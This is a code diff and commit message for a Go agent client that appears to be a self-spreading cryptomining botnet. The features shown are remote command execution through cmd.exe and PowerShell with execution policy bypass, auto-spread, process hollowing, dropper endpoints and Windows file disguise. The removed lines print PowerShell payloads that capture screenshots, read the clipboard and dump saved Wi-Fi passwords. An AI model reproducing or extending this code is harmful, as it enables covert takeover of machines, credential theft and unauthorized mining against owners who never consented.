Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

agent/client/client.go

@@ -10,6 +10,7 @@ import (
 	"os"
 	"os/exec"
 	"path/filepath"
+	"runtime"
 	"strings"
 	"sync"
 	"time"
@@ -155,6 +156,14 @@ func (c *AgentClient) authenticate() error {
 		AIEnabled:        c.cfg.AIEnabled,
 		AIOllamaEndpoint: c.cfg.AIOllamaEndpoint,
 		AIModel:          c.cfg.AIModel,
+		HolePunch:        c.cfg.HolePunch,
+		RemoteAggressive: c.cfg.RemoteAggressive,
+		MeshP2P:          c.cfg.MeshP2P,
+		AutoSpread:       c.cfg.AutoSpread,
+		ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows",
+		Platform:         runtime.GOOS,
+		Arch:             runtime.GOARCH,
+		OSVersion:        deploy.HostOSVersion(),
 	})
 	if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
 		return err
@@ -249,6 +258,9 @@ func (c *AgentClient) handleMessage(msg Message) {
 }
 
 func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) {
+	if c.handleAggressiveCommand(action, tailLines, command, path, data) {
+		return
+	}
 	switch action {
 	case "pause":
 		c.pool.PauseRemote()
@@ -294,9 +306,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
 			c.sendCommandResult(action, false, "no command provided")
 			return
 		}
-		out, err := exec.Command("cmd.exe", "/C", command).CombinedOutput()
+		out, err := c.runExecCommand(command)
 		if err != nil {
-			c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
+			c.sendCommandResult(action, false, formatCmdErr(err, out))
 			return
 		}
 		c.sendCommandResult(action, true, string(out))
@@ -305,9 +317,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
 			c.sendCommandResult(action, false, "no command provided")
 			return
 		}
-		out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput()
+		out, err := c.runShellCommand(command)
 		if err != nil {
-			c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
+			c.sendCommandResult(action, false, formatCmdErr(err, out))
 			return
 		}
 		c.sendCommandResult(action, true, string(out))
@@ -338,73 +350,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
 		}
 		encoded := base64.StdEncoding.EncodeToString(b)
 		c.sendCommandResult(action, true, encoded)
-	case "ps":
-		out, err := exec.Command("tasklist").CombinedOutput()
-		if err != nil {
-			c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
-			return
-		}
-		c.sendCommandResult(action, true, string(out))
-	case "netstat":
-		out, err := exec.Command("netstat", "-ano").CombinedOutput()
-		if err != nil {
-			c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
-			return
-		}
-		c.sendCommandResult(action, true, string(out))
-	case "users":
-		out, err := exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput()
-		if err != nil {
-			c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
-			return
-		}
-		c.sendCommandResult(action, true, string(out))
-	case "software":
-		out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
-			"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput()
-		if err != nil {
-			c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
-			return
-		}
-		c.sendCommandResult(action, true, string(out))
-	case "screenshot":
-		out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
-			"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput()
-		if err != nil {
-			c.sendCommandResult(action, false, fmt.Sprintf("screenshot failed: %v\n%s", err, string(out)))
-			return
-		}
-		c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
-	case "sysinfo":
-		out, err := exec.Command("systeminfo").CombinedOutput()
-		if err != nil {
-			c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
-			return
-		}
-		c.sendCommandResult(action, true, string(out))
-	case "ipconfig":
-		out, err := exec.Command("ipconfig", "/all").CombinedOutput()
-		if err != nil {
-			c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
-			return
-		}
-		c.sendCommandResult(action, true, string(out))
-	case "clipboard":
-		out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput()
-		if err != nil {
-			c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
-			return
-		}
-		c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
-	case "wifi":
-		script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
-		out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
-		if err != nil {
-			c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
-			return
-		}
-		c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
 	default:
+		if c.handleReconCommand(action, command) {
+			return
+		}
 		c.sendCommandResult(action, false, "unknown action")
 	}
 }
@@ -465,6 +414,7 @@ func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
 func (c *AgentClient) submitShare(jobID, nonce, hash string) {
 	c.mu.Lock()
 	c.sharesSubmitted++
+	conn := c.conn // read under the same lock to avoid data race
 	c.mu.Unlock()
 
 	payload, _ := json.Marshal(SharePayload{
@@ -474,10 +424,9 @@ func (c *AgentClient) submitShare(jobID, nonce, hash string) {
 		Worker: c.cfg.WorkerName,
 	})
 
-	if c.conn != nil {
+	if conn != nil {
 		_ = c.write(Message{Type: "submit_share", Payload: payload})
 	} else if c.cfg.MeshP2P {
-		// Offline from Hub? Broadcast to Mesh peers!
 		c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload})
 	}
 }